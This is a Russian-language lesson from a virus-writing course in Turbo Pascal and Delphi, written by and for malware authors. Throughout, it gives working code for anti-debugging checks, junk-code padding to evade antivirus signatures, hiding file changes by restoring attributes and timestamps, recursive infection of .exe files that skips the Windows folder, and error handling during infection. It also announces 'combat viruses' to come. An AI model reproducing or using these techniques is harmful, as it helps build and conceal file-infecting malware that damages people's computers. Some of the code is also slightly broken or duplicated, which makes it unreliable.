Антиотладочные приёмы - каждый вирус «убежавший» от своего хозяина имеет определённые шансы быть обнаруженным каким-либо знатоком ассемблера, который не поленится прогнать его через отладчик, тем самым, получив много полезной информации о работе виря. Как этого избежать? В общем-то ни как. Но можно принять меры, которые усложнят анализ вируса в отладчике и сделают его менее эффективным. Как мы это делаем? Для Turbo Pascal методы значительно отличаются от методов на Delphi и microDelphi, т.к. Pascal создаёт DOS приложения, а их работа в значительной мере отличается от работы WINDOWS приложений (WIN32). Во всех случаях реализация основана на вызове в самом начале выполнения программы процедуры AntiDBG, которая осуществляет проверку наличия отладки и если она имеется работа вируса завершается. Разберёмся в реализации этой процедуры. Turbo Pascal: {$M 65520,0,0} Uses Dos;
{$F+} procedure ReBoot; Interrupt; begin InLine($EA/$00/$00/$FF/$FF); end; procedure BreakOff; Interrupt; begin end; {$F-}
Delphi: function IsDebuggerPresent:boolean; stdcall; external 'kernel32.dll' name 'IsDebuggerPresent'; procedure AntiDBG; begin if IsDebuggerPresent then ExitProcess(0); end;
microDelphi: function IsDebuggerPresent:boolean; stdcall; external 'kernel32.dll' name 'IsDebuggerPresent'; procedure ExitProcess(uExitCode: integer); stdcall; external 'kernel32.dll' name 'ExitProcess'; procedure AntiDBG; begin if IsDebuggerPresent then ExitProcess(0); end;
Как видите суть метода заключается в использовании функции системного API – IsDebuggerPresent. Эта функция определяет наличие отладки. Главный минус этой реализации процедуры, заключается в общем-то в использовании этой функции. Многие антивири её не любят. Для того что бы совсем избавиться от применения WinApi можно применить вот такую процедурку: procedure AntiDBG; asm mov eax,fs:[00000018h] mov eax,[eax +30h] movzx eax,byte ptr [eax+02] cmp eax,1 jne @na_vihod push 0 @na_vihod: ret end;
Хочется отметить, что применение ассемблерных вставок в коде очень часто значительно повышает качество программы. Существует масса других и более эффективных методов борьбы с отладкой, но на практике, если вирус попадёт в любую, даже самую мелкую антивирусную контору, все эти методы пойдут в отставку. Но применение определённых мер защиты, всё-таки необходимо – этикет понимаете ли.
. Переходим к рассмотрению второго защитного приёма вирусов – наполнение мусором тела вируса. Этот метод позволяет, так же как и антиотладочные методы запутать чуткие мозги тех, кто суёт свой нос в вирус. Так же наполнение мусором позволяет избежать реакции антивируса на вирусы, которые уже попали в базы антивирусов. Например, вы что-то написали, а оно попало в базы. Наполнив мусором исходник и перекомпилировав вирус, можно избавиться от криков антивируса. Наполнить мусором можно многими способами и их совокупностью, привожу пример этих способов: 1)Случайная вставка мусорной глобальной переменной. 2)Случайна вставка вызова мусорной процедуры/функции. 3)Случайная вставка вызова антиотладочной процедуры AntiDBG. Для рассмотрения примеров возьмём исходник: begin a:=b+c; d:=b-c; e:=b*c; end.
теперь замусорим этот исходник тремя способами.
1 способ: var trash:integer; begin trash:=a; trash:=123; trash:=-37854; a:=b+c; trash:=b; trash:=c; trash:=563; d:=b-c; trash:=a-1234; trash:=777; e:=b*c; trash:=11111; end.
2 способ: Procedure Gadost(i:integer); var a,b:integer; begin i:=123; b:=635; i:=0; i:=a+b; end; begin Gadost(1234); Gadost(3456); a:=b+c; Gadost(4567); d:=b-c; Gadost(146); e:=b*c; Gadost(a); Gadost(e); end.
Можно применить все вместе, в этом случае эффект будет лучше.
. Переходим к рассмотрению методов маскировки в HLL вирусах. При работе вируса, он изменяет файлы, а некоторые злобные антивирусы создают свои базы данных с атрибутами файлов, датами и временем создания, и при изменении этих параметров очень тщательно исследуют эти файлы. Так как эти дела нам совсем не на пользу, мы перед изменением файлов будем сохранять эти значения, а после изменения их обратно восстанавливать. Так же у вируса будут большие проблемы с изменением файлов имеющих атрибуты: только чтение и системный, поэтому после сохранения атрибутов, мы будем сбрасывать атрибуты файлов в 0. Реализуется весь этот алгоритм с помощью одной процедуры, я назвал её, для наглядности AttrDateTime, процедура будет иметь два параметра: Путь к файлу и действие (0 – сохранить параметры и сбросить атрибут, 1 – восстановить параметры). Процедура будет в вирусе вызываться дважды в процедуре Infect – в начале процедуры с параметром 0, а в конце (после заражения) с параметром 1. Т.о. образно процедура заражения будет иметь вид: Procedure Infect(параметр); Begin AttrDateTime(0); {Тут все остаётся так же как и было…} AttrDateTime(1); end;
Ну, а теперь осталось разобраться в реализации процедуры AttrDateTime, во всех её трёх вариантах, как обычно, в общем. Turbo Pascal: var Attr : word;{Глобальная переменная для сохранения атрибута} DaTi : LongInt;{ Глобальная переменная для сохранения даты и времени} Procedure AttrDateTime(path:string;stat : byte); {Процедура сохранения атрибутов, даты и времени} var f : file; begin case stat of{выбор действия} 0:begin{сохранение и обнуление} Assign(f,path); GetFTime(f,DaTi);{сохраняем дату и время} GetFAttr(f,Attr);{сохраняем атрибуты} SetFAttr(f,0);{обнуляем атрибуты} end; 1:begin Assign(f,path); SetFTime(f,DaTi);{восстанавливаем дату и время} SetFAttr(f,Attr);{восстанавливаем атрибуты} end; end; end;
Delphi: var Attr : integer; t1,t2,t3:PFileTime; Procedure AttrDateTime(path:PChar;stat : byte); var f : integer; begin case stat of 0:begin attr:=GetFileAttributes(path);{сохраняем атрибут} F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); {открываем для чтения} GetFileTime(F,t1,t2,t3); {} CloseHandle(F); {закрываем файл} SetFileAttributes(path,0);{обнуляем атрибут} end; 1:begin SetFileAttributes(path,attr);{восстанавливаем атрибут} F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);{открываем для чтения} SetFileTime(f,t1,t2,t3);{востанавливаем время} CloseHandle(F);{закрываем файл} end; end; end;
microDelphi type PFileTime = ^TFileTime; TFileTime = record dwLowDateTime: integer; dwHighDateTime: integer; end;
var Attr : integer; t1,t2,t3:PFileTime;
function GetFileTime(hFile: THandle; lpCreationTime, lpLastAccessTime, lpLastWriteTime: PFileTime): BOOLEAN; stdcall; external kernel32 name 'GetFileTime'; function GetFileAttributes(lpFileName: PChar): integer; stdcall; external kernel32 name 'GetFileAttributesA'; function SetFileAttributes(lpFileName: PChar; dwFileAttributes: integer): BOOLEAN; stdcall; external kernel32 name 'SetFileAttributesA'; function SetFileTime(hFile: THandle; lpCreationTime, lpLastAccessTime, lpLastWriteTime: PFileTime): BOOLEAN; stdcall; external kernel32 name 'SetFileTime';
Procedure AttrDateTime(path:PChar;stat : byte); var f : integer; begin case stat of 0:begin attr:=GetFileAttributes(path);{сохраняем атрибут} F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); {открываем для чтения} GetFileTime(F,t1,t2,t3); {} CloseHandle(F); {закрываем файл} SetFileAttributes(path,0);{обнуляем атрибут} end; 1:begin SetFileAttributes(path,attr);{восстанавливаем атрибут} F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);{открываем для чтения} SetFileTime(f,t1,t2,t3);{востанавливаем время} CloseHandle(F);{закрываем файл} end; end; end;
Если кому-то не хочется громоздить процедуру, можете перенести её прямо в Infect. Как это делать? Думаю это не вопрос.
. Переходим к рассмотрению ещё одной полезной фишки - незаражение в системных папках и папках антивирусов. В чем тут суть? Да все просто. Не стоит давать вирусу заражать папку винды – т.к. это глупо, ведь рано или поздно, вирус убьет систему и погибнет в процессе её форматирования, а это ни есть гуд. Не к чему это. Т.о. в наших интересах исключить заражение в этой папках. Как мы это реализуем? Необходимо в процедуре поиска сделать проверку на ненужную папку, т.е. перед тем как лезть в папку и её вложенности мы проверяем нужно ли это делать. Проверку папки «на вшивость» будет делать функция CheckWinDir, которой будет даваться путь к папке, а она будет возвращать true, если папку можно открывать и false если папка винды. Ниже я приведу на примере процедуры поиска файлов на Turbo Pascal, образец того как правильно прикрутить процедуру CheckWinDir к процедуре FindFile. Далее мы разберёмся как реализовать процедуру CheckWinDir, в трёх вариантах. procedure FindFile(dir:pathstr);{Каталог поиска} var sr : searchrec; begin findfirst(dir+'*.exe',39,sr);{Ищем первый файл} if CheckWinDir(Dir) then {Проверка папки}{+} while doserror=0 do{Выполнять поиск до появления ошибки} begin if CheckInfect(dir+sr.name) then{Если файл не заражен то..} Infect(dir+sr.name);{Заражаем} findnext(sr);{Ищем следующий} end; findfirst(dir+'*.',55,sr);{После того как в папке найдены все файлы ищем первую папку в текущей папке} while doserror=0 do{Выполняем до появления ошибки} begin with sr do if (attr and directory<>0){если атрибут файла - directory } and (name[1]<>'.'){Первый символ имени точка} and (length(dir)<63){и длина строки к папке не более 63 символов} then FindFile(dir+name+'\');{Вызываем поиск в найденной папке - рекурсия} findnext(sr);{ищем следующий} end; end;
По аналогии с Turbo Pascal мы имеем ту же ситуацию и с Delphi и microDelphi, но смысла приводить процедуры поиска я не вижу, т.к. это слишком просто, что бы занимать место в статье. Поэтому переходим к рассмотрению реализаций процедур CheckWinDir. Turbo Pascal: function CheckWinDir(dir : string):boolean; var b : boolean; d : string; begin d:=GetEnv('SystemRoot');{Определяем папку винды} if pos(d,dir)<>0{если в пути к файлу есть строка папки винды} then b:=false{не заражаем} else b:=true;{заражаем} CheckDir:=b;{инициализация функции} end;
Delphi: function CheckWinDir(dir : string):boolean; var d : string; begin d:=SysUtils.GetEnvironmentVariable('SystemRoot');{Определяем папку винды} if pos(d,dir)<>0{если в пути к файлу есть строка папки винды} then Result:=false{не заражаем} else Result:=true;{заражаем} end;
microDelphi: function GetWindowsDirectory(lpBuffer: PChar; uSize: integer): integer; stdcall; external kernel32 name 'GetWindowsDirectoryA'; function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA'; function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
function CheckWinDir(dir : PChar):boolean; var d,dd : PathBuf; i,ii : integer; begin GetWindowsDirectory(d, MAX_PATH);//Путь к папке винды i:=LStrLen(d);//длмна строки for ii:=0 to i-1 do dd[ii]:=dir[ii];//перенос во времменую переменную if LStrCMP(dd,d)=0{если в пути к файлу есть строка папки винды} then Result:=false{не заражаем} else Result:=true;{заражаем} end;
. Переходим к последнему вопросу этого урока – обработка ошибок записи в файл. Я думаю, вы и сами понимаете для чего это нужно. При расшаривании системы вирь постоянно открывает файлы, а при заражении открывает для записи, т.е. если файл будет запущен, то у вируса будут проблемы и не исключён выход из программы аварийно. Т.о. перед тем, как заражать уже не один раз перепроверенный по разным критериям файл, нам необходимо его ещё раз проверить, в этот раз на запущенность. Кстати ошибка может возникнуть и по той причине, что прога используется другой прогой или установлен атрибут: системный или только чтение. Далее мы рассмотрим примеры того как избежать этих ошибок. При использовании в Turbo Pascal процедуры для работы с файлами: Assign как и в Delphi процедуру AssignFile, необходимо применять следующий механизм избегания ошибок: var F : text; begin {$I-}{Отключаем стандартную обработку ошибок ввода/вывода} Assign(f,’c:\1.txt’); Reset(f);{пытаемся открыть файл} Writeln(f,’teststring’);{пытаемся в него записать} If IOResult=0 {если IOResult – 0 то ни где нет ошибки и наоборот} then Writeln(‘запись прошла успешно’) else Writeln(‘при записи возникла ошибка :’,IOResult); Close(f);{закрываем} {$I+}{Включаем стандартную обработку ошибок} end;
Как видите всё просто. Если не отключить обработчик ошибок – при попытке совершить невозмождное действие прога вылетит с ошибкой. Вот тот же исходник на Delphi: var F : textfile; begin {$I-}{Отключаем стандартную обработку ошибок ввода/вывода} AssignFile(f,’c:\1.txt’); Reset(f);{пытаемся открыть файл} Writeln(f,’teststring’);{пытаемся в него записать} If IOResult=0 {если IOResult – 0 то ни где нет ошибки и наоборот} then Writeln(‘запись прошла успешно’) else Writeln(‘при записи возникла ошибка :’,IOResult); CloseFile(f);{закрываем} {$I+}{Включаем стандартную обработку ошибок} end;
На microDelphi, код ошибок ввода вывода возвращается в саму функцию. Привожу пример, того как надо делать, что бы не вылетали - IO Error 102/103.
Const Buf = ‘teststring’; Var F ,N: integer; Begin f:=CreateFile(’c:\1.txt’, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1); //Открываем файл приёмник if f=-1 then exit;//Если ошибка то выход WriteFile(f, Buf, SizeOF(Buf), N, nil);//Пишем в приёмник CloseHandle(f);//Закрытие файла End;
Вот и всё. Я надеюсь этот урок вам помог и вы ещё не раз его перечитаете. Хочу вас поздравить с тем, что основной курс по вирусологии на языках высокого уровня вы, можно сказать уже прошли. Далее будут масса полезных уроков с дополнительным материалом и примерами боевых вирусов. Удачи.
var trash:integer; begin trash:=a; trash:=123; trash:=-37854; a:=b+c; trash:=b; trash:=c; trash:=563; d:=b-c; trash:=a-1234; trash:=777; e:=b*c; trash:=11111; end.
По умолчанию в Delphi стоит ключ компиляции O+ (включить оптимизацию), с которым тому подобный код будет пропущен при компиляции. Так что не забудте отключить оптимизацию!